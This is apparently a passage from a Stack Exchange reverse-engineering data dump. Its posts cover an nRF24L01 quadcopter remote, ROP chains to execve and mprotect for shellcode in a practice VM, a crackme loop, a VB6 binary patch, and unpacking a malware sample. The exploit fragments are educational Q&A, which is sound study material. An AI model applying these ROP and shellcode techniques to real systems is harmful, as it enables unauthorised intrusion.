radio.txbuf[0]=0xA0;&#xA;    radio.txbuf[1]=payload[0];&#xA;    radio.txbuf[2]=payload[1];&#xA;    radio.txbuf[3]=payload[2];&#xA;    radio.txbuf[4]=payload[3];&#xA;    radio.txbuf[5]=payload[4];&#xA;    radio.txbuf[6]=payload[5];&#xA;    radio.txbuf[7]=payload[6];&#xA;    radio.txbuf[8]=payload[7];&#xA;    radio.sendBuffer(9);      //-tx data&#xA;&#xA;    radio.txbuf[0]=0x20;&#xA;    radio.txbuf[1]=0x7A;  //-TX&#xA;    radio.sendBuffer(2);&#xA;&#xA;    while(!c)&#xA;      c=radio.getStatus();&#xA;    radio.clrStatus();&#xA;&#xA;&#xA;    if(c&amp;amp;0x10)  //MRT&#xA;    {&#xA;      Serial.println(&quot;MRT - connected&quot;);&#xA;    }&#xA;&#xA;    if(c&amp;amp;0x20)  //ACK&#xA;    {&#xA;      Serial.println(&quot;ACK - connected&quot;);&#xA;    }&#xA;&#xA;    break;&#xA;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I'm using a fairly simple Arduino sketch to invoke these methods (which is a modified version of the INO file form the project mentioned above):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;HCD.h&amp;gt;&#xA;HCD drone0;&#xA;&#xA;unsigned char ID0[]={&#xA;  0x1F, 0xC3, 0x00, 0xCC};&#xA;unsigned char payload0[]={  0x0, 0x20, 0x14, 0x03, 0x25, 0x1F, 0xC3, 0x00 };&#xA;unsigned char payload1[]={&#xA;  0x00,0x70,0x70,0x1E,0x1E,0x00,0x10,0x7E};&#xA;&#xA;void setup()&#xA;{&#xA;  Serial.begin(19200);&#xA;  Serial.println(&quot;ON&quot;);&#xA;  Serial.println(&quot;Connecting a&quot;);&#xA;  drone0.bind(ID0);&#xA;  drone0.setChannel(0x25);&#xA;}&#xA;&#xA;unsigned long timer=0;&#xA;&#xA;unsigned char chs[] = { 0x2A, 0x20, 0x34, 0x16, 0x3E, 0x0C, 0x48};&#xA;void loop()&#xA;{&#xA;  for (int i=0; i&amp;lt;128; i++)&#xA;  {&#xA;     drone0.setChannel(i);&#xA;     drone0.update(payload0);&#xA;     delay(10);&#xA;  }&#xA;  delay(2000);  &#xA;  drone0.setChannel(0x2); &#xA;  drone0.update(payload1);&#xA;  delay(2000);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yet the Quadcopter seems to gently ignore this code and many variations of it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone got to this line in my question, I would appreciate any help he/she can provide. &lt;/p&gt;&#xA;" OwnerUserId="4628" LastEditorUserId="4628" LastEditDate="2015-07-12T12:56:22.733" LastActivityDate="2015-07-12T12:56:22.733" Title="Reversing a 2.4Ghz Quadcopter remote control" Tags="|spi|arduino|remote|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9333" PostTypeId="2" ParentId="9326" CreationDate="2015-07-12T06:20:34.977" Score="2" Body="&lt;p&gt;What you're actually doing there is passing pointers to the array, not the array itself. If you look at the declarations:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    char * const argv[] = {&quot;cat&quot;, &quot;/etc/target/file&quot;};&#xA;    char * const envp[] = {NULL};&#xA;    execve(&quot;/bin/cat&quot;, argv, envp);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;'argv' and 'envp' are pointers to the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically, it's easiest to just ROP to execve('command', NULL, NULL) to avoid fancy setup. Why not execve('/bin/bash', NULL, NULL) then cat the file from the spawned shell? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise you can finagle some pointers to make it work - pass it pointers to  NULL-pointer terminated arrays of strings that contain your args.&lt;/p&gt;&#xA;" OwnerUserId="4409" LastActivityDate="2015-07-12T06:20:34.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9335" PostTypeId="2" ParentId="9331" CreationDate="2015-07-12T12:48:31.650" Score="1" Body="&lt;p&gt;There are some items I do not understand in your code:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In the initial &quot;bind&quot; routine, there are commands 0x3F, 0x3E, 0x39, corresponding to registers 1F, 1E, 19, if I understood this right. These are not documented in the NRF24l01 data sheet (btw your link to it does not work).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You send the payload with the correct command 0xA0. However, you send a total of 9 bytes, including the command. Does this not mean that the payload you are sending contains only eight bytes? And in one of your payload send commands you put the txbuf[8] twice. maybe you meant as second time txbuf[9] instead?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As the last command you send 0x20. If I got it right, this is the &quot;Write configuration&quot;. Should this not come at an earlier stage?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Otherwise, I do not know anything about quadcopters (only that Amazon wants to use them...)&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2015-07-12T12:48:31.650" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9336" PostTypeId="1" CreationDate="2015-07-12T14:28:00.033" Score="1" ViewCount="4244" Body="&lt;p&gt;I'm taking my first steps in memory exploitation in Linux. I'm following a tutorial for a practice VM(&lt;code&gt;$ uname -r -&amp;gt; 3.13.0-32-generic&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tutorial makes a call to &lt;code&gt;mprotect&lt;/code&gt; to set a certain region of memory executable, then uses &lt;code&gt;read&lt;/code&gt; to manually input some shellcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I occurred to me that perhaps I could load my shellcode on the stack using the buffer and use &lt;code&gt;mprotect&lt;/code&gt; to set the buffer region on the stack as executable and return to it. But that throws an error for reasons I'm not sure of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, this call to &lt;code&gt;mprotect&lt;/code&gt; works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# mprotect: set memory executable&#xA;payload += p(0x080523e0) # mprotect addr&#xA;payload += p(0x08048882) # return to: pop, pop, pop, retn&#xA;payload += p(0xb7ffd000) # arg1: address of 'mapped' region&#xA;payload += p(0x2000)     # arg2: length&#xA;payload += p(0x7)        # arg3: rwx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this call fails:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# mprotect: set memory executable&#xA;payload += p(0x080523e0) # mprotect addr&#xA;payload += p(0xbffff6c0) # return to shellcode in buffer on stack&#xA;payload += p(0xbffff6c0) # arg1: beginning of shellcode on stack&#xA;payload += p(0x2000)     # arg2: length&#xA;payload += p(0x7)        # arg3: rwx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Stepping through &lt;code&gt;mprotect&lt;/code&gt; in that second example shows me that it takes an error jump:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;=&amp;gt; 0x80523fa &amp;lt;mprotect+26&amp;gt;: jae    0x8053870 &amp;lt;__syscall_error&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As the only difference between the two is the address I want to set executable, I'm wondering if it's simply that &lt;code&gt;mprotect&lt;/code&gt; can't set the stack as executable?&lt;/p&gt;&#xA;" OwnerUserId="12806" LastActivityDate="2015-07-12T18:33:02.167" Title="Can mprotect set the stack itself as executable?" Tags="|linux|executable|stack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9337" PostTypeId="2" ParentId="9336" CreationDate="2015-07-12T18:33:02.167" Score="4" Body="&lt;p&gt;Yes, &lt;a href=&quot;http://unixhelp.ed.ac.uk/CGI/man-cgi?mprotect&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;mprotect&lt;/code&gt;&lt;/a&gt; can be used to make the stack executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See, for example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/gcc-mirror/gcc/blob/master/libgcc/enable-execute-stack-mprotect.c&quot; rel=&quot;nofollow&quot;&gt;https://github.com/gcc-mirror/gcc/blob/master/libgcc/enable-execute-stack-mprotect.c&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rethinkdb.com/blog/handling-stack-overflow-on-custom-stacks/&quot; rel=&quot;nofollow&quot;&gt;http://rethinkdb.com/blog/handling-stack-overflow-on-custom-stacks/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can troubleshoot further by examining the value of &lt;code&gt;errno&lt;/code&gt; after the &lt;code&gt;mprotect&lt;/code&gt; call.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-07-12T18:33:02.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9339" PostTypeId="1" AcceptedAnswerId="9343" CreationDate="2015-07-13T07:50:25.337" Score="0" ViewCount="4979" Body="&lt;p&gt;I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00401163   &amp;gt; 8D15 49634000  LEA EDX,DWORD PTR DS:[406349]            ; see below, 0x406349 is pointing to entered username&#xA;00401169   . 52             PUSH EDX                                 ; /String =&amp;gt; &quot;myusername&quot;&#xA;0040116A   . E8 8D020000    CALL &amp;lt;JMP.&amp;amp;kernel32.lstrlenA&amp;gt;            ; \lstrlenA&#xA;0040116F   . 8BE8           MOV EBP,EAX&#xA;00401171   . B9 05000000    MOV ECX,5&#xA;00401176   . 33F6           XOR ESI,ESI                              ; ESI = 0&#xA;00401178   . 33C0           XOR EAX,EAX&#xA;0040117A   &amp;gt; 8A0C16         MOV CL,BYTE PTR DS:[ESI+EDX]             ; Why is it pointing to 'y' (2nd letter of username) at 1st run in the loop?&#xA;0040117D   . 8AD9           MOV BL,CL&#xA;0040117F   . 3298 28634000  XOR BL,BYTE PTR DS:[EAX+406328]&#xA;00401185   . 40             INC EAX&#xA;00401186   . 83F8 05        CMP EAX,5&#xA;00401189   . 881C32         MOV BYTE PTR DS:[EDX+ESI],BL&#xA;0040118C   . 8888 27634000  MOV BYTE PTR DS:[EAX+406327],CL&#xA;00401192   . 75 02          JNZ SHORT crackme.00401196&#xA;00401194   . 33C0           XOR EAX,EAX&#xA;00401196   &amp;gt; 46             INC ESI&#xA;00401197   . 3BF5           CMP ESI,EBP&#xA;00401199   .^72 DF          JB SHORT crackme.0040117A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, &lt;code&gt;0x406349&lt;/code&gt; contains the username:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00406349  6D 79 75 73 65 72 6E 61 6D 65 00 00 00 00 00 00  myusername......&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is a loop that will go thru the letters of the entered username. I don't understand why the first run in the loop (at &lt;code&gt;0x40117A&lt;/code&gt;) contains the 2nd letter of the username instead of the 1st one because the index (&lt;code&gt;ESI&lt;/code&gt;) is &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you please help me understand?&lt;/p&gt;&#xA;" OwnerUserId="13001" LastEditorUserId="53" LastEditDate="2015-07-13T08:11:08.200" LastActivityDate="2015-07-13T13:34:15.240" Title="Loop through letters of a string with index" Tags="|assembly|x86|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9340" PostTypeId="1" CreationDate="2015-07-13T08:34:11.063" Score="-1" ViewCount="212" Body="&lt;p&gt;Let us say i have the original image and compressed image and let us assume whatsapp uses jpeg compression algo , then is it possible to find out what compression ratio is used (as in , is it fixed or differs on an image by image basis) , and how is compression ratio related to the quantization matrix &lt;/p&gt;&#xA;" OwnerUserId="12964" LastActivityDate="2015-07-16T10:17:44.770" Title="Can anyone suggest a method to identify the compression ratio used by an image compression app like whatsapp ." Tags="|decompress|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9341" PostTypeId="2" ParentId="9327" CreationDate="2015-07-13T10:16:25.807" Score="1" Body="&lt;p&gt;The Ascii string &lt;code&gt;cls&lt;/code&gt; is stored at address &lt;code&gt;0x004030EC&lt;/code&gt;. Why is it stored at that location is probably compiler related. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;ESP&lt;/code&gt; register holds the address of the top of the stack. What your instruction &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV DWORD PTR SS:[ESP],test_1.004030EC     ; ||ASCII &quot;cls&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;means is to put the value &lt;code&gt;0x004030EC&lt;/code&gt; to the address pointed to by &lt;code&gt;ESP&lt;/code&gt;. If the value of &lt;code&gt;ESP&lt;/code&gt; is, lets say, &lt;code&gt;ESP = 0x0018FF8C&lt;/code&gt;, then the value at address &lt;code&gt;0x0018FF8C&lt;/code&gt; will be &lt;code&gt;0x004030EC&lt;/code&gt; after the above &lt;code&gt;MOV&lt;/code&gt; instruction is executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to change the string &lt;code&gt;cls&lt;/code&gt; to something else, you can position at the dump window in Olly and press CTRL-G. A popup box will appear and there you will enter &lt;code&gt;0x004030EC&lt;/code&gt; and press &lt;code&gt;Ok&lt;/code&gt;. After that right click on the first byte at that address, which should be &lt;code&gt;0x63&lt;/code&gt; (the letter 'c' from string &quot;cls&quot;) and choose &lt;code&gt;Binary -&amp;gt; Edit&lt;/code&gt;. There you can enter your new string that will be passed to the &lt;code&gt;CALL&lt;/code&gt; instruction.&lt;/p&gt;&#xA;" OwnerUserId="12897" LastActivityDate="2015-07-13T10:16:25.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9342" PostTypeId="2" ParentId="9339" CreationDate="2015-07-13T11:34:09.013" Score="3" Body="&lt;p&gt;&lt;code&gt;EDX&lt;/code&gt; may have been altered by the function call, see &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions#stdcall&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;stdcall&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Registers EAX, ECX, and EDX are designated for use within the function&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Use another register, or push+pop &lt;code&gt;EDX&lt;/code&gt; before/after the call to &lt;code&gt;lstrlenA&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13004" LastActivityDate="2015-07-13T11:34:09.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9343" PostTypeId="2" ParentId="9339" CreationDate="2015-07-13T13:17:11.397" Score="2" Body="&lt;p&gt;as hanno binder replied edx is not preserved by the function call lstrlena&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can easily deduce such things by instrumenting the code prior to and post the operation where your assumptions dont pan out to actual behaviour&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a sample test code could look like this (in x64 you may need a seperate file for inline asm but since you say &lt;strong&gt;edx&lt;/strong&gt; and not &lt;strong&gt;rdx&lt;/strong&gt; inline asm inside a cpp file is fine)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;// the vars are global so they are initialised to zero&#xA;int preeax,preebx,preecx,preedx,posteax,postebx,postecx,postedx;&#xA;void main (void) {&#xA;  printf(&quot;does lstrlena change edx ? lets check\n&quot;);&#xA;__asm {&#xA;  mov preeax,eax&#xA;  mov preebx,ebx&#xA;  mov preecx,ecx&#xA;  mov preedx,edx  &#xA;}&#xA;lstrlenA(&quot;does this change edx\n&quot;);&#xA;__asm {&#xA;  mov posteax,eax&#xA;  mov postebx,ebx&#xA;  mov postecx,ecx&#xA;  mov postedx,edx  &#xA;}&#xA;printf(&#xA;&quot;preeax = %08x\tposteax = %08x\npreebx = %08x\tpostebx = %08x\n&quot;&#xA;&quot;preecx = %08x\tpostecx = %08x\npreedx = %08x\tpostedx = %08x\n&quot;,&#xA;preeax,posteax,preebx,postebx,preecx,postecx,preedx,postedx);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on compiling and running it &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;edxlstrlen.exe&#xA;does lstrlena change edx ? lets check&#xA;preeax = 00000026       posteax = 00000015&#xA;preebx = 7ffd8000       postebx = 7ffd8000&#xA;preecx = 00401120       postecx = 7c80be86&#xA;&lt;h3&gt;preedx = 004166a0       postedx = 004121b9&lt;/h3&gt;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and as guntram commented to confirm you could disassemble lstrlena and grep for edx &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cdb -c &quot;uf kernel32!lstrlena;q&quot; cdb | grep edx&#xA;eax=00191eb4 ebx=7ffdb000 ecx=00000007 edx=00000080 esi=00191f48 edi=00191eb4&#xA;7c80be71 8d5001          lea     edx,[eax+1] &amp;lt;-------------&#xA;7c80be7b 2bc2            sub     eax,edx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;guess what eax points to :)&#xA;or here is the spoiler you still need to understand x86 stack&lt;/p&gt;&#xA;&#xA;&lt;blockquote class=&quot;spoiler&quot;&gt;&#xA;  &lt;p&gt; cdb -c &quot;uf kernel32!lstrlena;q&quot; cdb | grep eax&lt;br&gt;&#xA; eax=00191eb4 ebx=7ffd7000 ecx=00000007 edx=00000080 esi=00191f48 edi=00191eb4&lt;br&gt;&#xA; 7c80be62 8b4508          mov     eax,dword ptr &lt;b&gt;[ebp+8]&lt;/b&gt;&lt;br&gt;&#xA; 7c80be65 85c0            test    eax,eax&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-07-13T13:34:15.240" LastActivityDate="2015-07-13T13:34:15.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9344" PostTypeId="2" ParentId="9340" CreationDate="2015-07-13T14:05:17.373" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can anyone suggest a method to identify the compression ratio used by&#xA;  an image compression app like whatsapp&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. Reverse engineer the code that performs the image compression.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-07-13T14:05:17.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9345" PostTypeId="2" ParentId="9330" CreationDate="2015-07-13T19:38:26.717" Score="4" Body="&lt;p&gt;As &lt;em&gt;@Igor Skochinsky&lt;/em&gt; has already commented, the &lt;a href=&quot;http://winbar.nl/&quot; rel=&quot;nofollow&quot;&gt;software&lt;/a&gt; is indeed written in Visual Basic 6 &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/aa240843(v=vs.60).aspx&quot; rel=&quot;nofollow&quot;&gt;compiled in native mode&lt;/a&gt; (VB6 also supports P-mode). You can verify this with a PE Info tool like &lt;a href=&quot;http://ntinfo.biz/&quot; rel=&quot;nofollow&quot;&gt;Detect It Easy&lt;/a&gt; (but before that  you need to unpack the &lt;a href=&quot;http://www.aspack.com/&quot; rel=&quot;nofollow&quot;&gt;ASPack&lt;/a&gt; wrapper).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cause of the bug is due to multiple reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The software uses an WinApi Function &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa366586(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;GlobalMemoryStatus&lt;/code&gt;&lt;/a&gt; to retrieve the  System Memory currently in use. Now there are a couple of quirks of this function:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;First&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;On computers with &lt;strong&gt;more than 4 GB of memory&lt;/strong&gt;, the GlobalMemoryStatus&#xA;  function can &lt;strong&gt;return incorrect information&lt;/strong&gt;, reporting a value of –1 to&#xA;  indicate an overflow. For this reason, applications &lt;strong&gt;should use the&#xA;  GlobalMemoryStatusEx function instead&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hence if your system has more than 4 GB of memory, the output from this function is not reliable, and hence may display erroneous values. Fixing this is difficult.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Second&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;On Intel x86 computers with &lt;strong&gt;more than 2 GB and less than 4 GB&lt;/strong&gt; of&#xA;  memory, the GlobalMemoryStatus function will &lt;strong&gt;always return 2 GB&lt;/strong&gt; in the&#xA;  dwTotalPhys member of the MEMORYSTATUS structure. Similarly, if the&#xA;  total available memory is &lt;strong&gt;between 2 and 4 GB&lt;/strong&gt;, the dwAvailPhys member&#xA;  of the MEMORYSTATUS structure will be &lt;strong&gt;rounded down to 2 GB&lt;/strong&gt;. If the&#xA;  executable is &lt;strong&gt;linked using the /LARGEADDRESSAWARE&lt;/strong&gt; linker option, then&#xA;  the GlobalMemoryStatus function will &lt;strong&gt;return the correct amount of&#xA;  physical memory&lt;/strong&gt; in both members&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To fix this bug, you need to make the application &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/wz223b1z.aspx&quot; rel=&quot;nofollow&quot;&gt;Large Address Aware&lt;/a&gt;.  This can be done by loading it in &lt;a href=&quot;http://www.ntcore.com/exsuite.php&quot; rel=&quot;nofollow&quot;&gt;CFF Explorer&lt;/a&gt; and check the flag &lt;strong&gt;&lt;em&gt;App can handle &gt; 2GB address space&lt;/em&gt;&lt;/strong&gt; under &lt;br&gt; &lt;strong&gt;&lt;em&gt;Nt Headers&lt;/em&gt;&lt;/strong&gt; -&gt; &lt;strong&gt;&lt;em&gt;File headers&lt;/em&gt;&lt;/strong&gt; -&gt; &lt;strong&gt;&lt;em&gt;Characteristics&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now, to convert the integer memory value obtained from &lt;code&gt;GlobalMemoryStatus&lt;/code&gt; to a string the app uses the &lt;a href=&quot;http://vb6reference.tomswebdesign.net/string.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;CStr&lt;/code&gt;&lt;/a&gt; function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;VB6 has no unsigned 32 bit integer &lt;a href=&quot;https://en.wikibooks.org/wiki/Visual_Basic/Data_Types&quot; rel=&quot;nofollow&quot;&gt;data type&lt;/a&gt;. The only unsigned data type is an 8 bit &lt;code&gt;Byte&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose your system has more than 2GB but less than 4GB memory and that you have already fixed the second bug as mentioned above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume your system has 3GB memory. This is equivalent to &lt;code&gt;3,22,12,25,472&lt;/code&gt; bytes in decimal or &lt;code&gt;1100 0000 0000 0000 0000 0000 0000 0000&lt;/code&gt; bytes in binary. &#xA;&lt;br&gt;Since the &lt;a href=&quot;https://en.wikipedia.org/wiki/Most_significant_bit&quot; rel=&quot;nofollow&quot;&gt;MSB&lt;/a&gt; of this value is 1, it will be treated as negative when passed to &lt;code&gt;CStr&lt;/code&gt;. Thus the resultant string would be &lt;code&gt;- 1GB&lt;/code&gt; instead of &lt;code&gt;3GB&lt;/code&gt;. &lt;strike&gt;There is also no easy fix for this.&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;So all-in-all the &lt;strong&gt;software is only usable when your system has less than 2GB memory&lt;/strong&gt;.&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;UPDATE (Signed Integer Bug Fix)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The signed integer bug can be patched to make the application usable to 4GB.&#xA;Patch the binary so as to convert the&lt;code&gt;SAR&lt;/code&gt; (signed shift) to &lt;code&gt;SHR&lt;/code&gt; (unsigned shift) instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Original Code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00092DCD  and edx,000FFFFF&#xA;00092DD3  add eax,edx&#xA;00092DD5  sar eax,14        ; &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;00092DD8  mov dword ptr [ebp-28],eax&#xA;00092DDB  mov eax,dword ptr [ebp-54]&#xA;00092DDE  cdq&#xA;00092DDF  and edx,000FFFFF&#xA;00092DE5  add eax,edx&#xA;00092DE7  sar eax,14        ; &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;00092DEA  mov dword ptr [ebp-30],eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Patched Code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00092DCD  and edx,000FFFFF&#xA;00092DD3  add eax,edx&#xA;00092DD5  shr eax,14        ; &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;00092DD8  mov dword ptr [ebp-28],eax&#xA;00092DDB  mov eax,dword ptr [ebp-54]&#xA;00092DDE  cdq&#xA;00092DDF  and edx,000FFFFF&#xA;00092DE5  add eax,edx&#xA;00092DE7  shr eax,14        ; &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;00092DEA  mov dword ptr [ebp-30],eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Incorporating the large address aware and signed integer patch, the application can be made usable to 4 GB of memory&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2015-07-14T03:46:54.177" LastActivityDate="2015-07-14T03:46:54.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9346" PostTypeId="2" ParentId="9319" CreationDate="2015-07-13T23:09:16.840" Score="5" Body="&lt;p&gt;Question 1:&#xA;You may use the Ida feature Menu Search, Sequence of Bytes...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you  are e.g. looking for a float value, convert that float into a sequence of four bytes and let Ida search for it. The conversion can be done in Ida as well (IIRC), or in any other hex editor allowing to display different data types. Of course, if your variable is a double instead of a float you need the proper byte sequence for a double which is different. &#xA;When searching for a string, you may use the same method. Of course here also you must know e.g. whether you are looking for an ascii string or another kind of string like unicode.&#xA;With that method, the endian-ness must be observed, because the byte sequence may be different with Big-Endian or Little-Endian.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you found your memory address, put a breakpoint on it. In a memory region, a window opens where you may edit your breakpoint, e.g. select break or trace, as well as the condition when to break and other items. A breakpoint in a code region may be edited by first putting the breakpoint on the location with F2, and then selecting &quot;Edit Breakpoint&quot; with a right mouse click.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2015-07-13T23:09:16.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9347" PostTypeId="1" CreationDate="2015-07-14T10:03:12.503" Score="3" ViewCount="1941" Body="&lt;p&gt;I'm trying to reverse a malware sample with the following MD5: ef668a0cd0755c67930ece13d28a6bda.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obvious, this is a packed malware. On a first look, it seems to bee some GUI Programm, but at some point(0x4013E6) it modifies itself and turns to completely another program(malicious one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm preety sure that the OEP is at 0x401265. But the problem is - I can not dump the process at this point and it makes the analysis difficult, because I can analyze only in a debugger. I tried to use the OllyDump and it throws the &lt;em&gt;Unable to read memory of debugged process(00400000..00408FFF)&lt;/em&gt; followed by &lt;em&gt;Bad DOS Signature!!&lt;/em&gt;. I also tried the dump.py in ImmunityDBG but it did not helped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to change memory acccess right on every section in Olly before I dumped the process. Unfortunately it was not possible to change it at all sections. Also, consider that this malware sample creates new sections while modifying itself, may be it causes the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to take a look on the malware sample by yourself than set a first hardware breakpoint at 0x40220F(it is where the unpacking stub starts). After that set another one at 0x401265(OEP in my opinion).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be great if you count give me a hint how could I dump the 